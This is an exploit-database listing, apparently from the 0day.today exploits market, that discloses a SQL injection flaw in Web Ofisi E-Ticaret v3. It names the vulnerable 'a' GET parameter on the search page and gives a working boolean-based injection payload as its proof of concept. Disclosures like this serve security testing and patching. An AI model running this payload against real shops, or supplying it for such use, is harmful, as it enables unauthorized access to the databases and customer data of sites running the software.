[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Web Ofisi E-Ticaret 3 - (a) SQL Injection Vunerability

Author
Ahmet Ümit BAYRAM
Risk
[
Security Risk High
]
0day-ID
0day-ID-33006
Category
web applications
Date add
19-07-2019
Platform
linux
# Exploit Title: Web Ofisi E-Ticaret 3 - 'a' SQL Injection
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/e-ticaret-v3-sanal-pos.html
# Demo Site: http://demobul.net/eticaretv3/
# Version: v3
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/ara.html?a=
Vulnerable Parameter: a (GET)
Payload: e%' AND 3*2*1=6 AND '0002ZIf'!='0002ZIf%

#  0day.today [2024-11-16]  #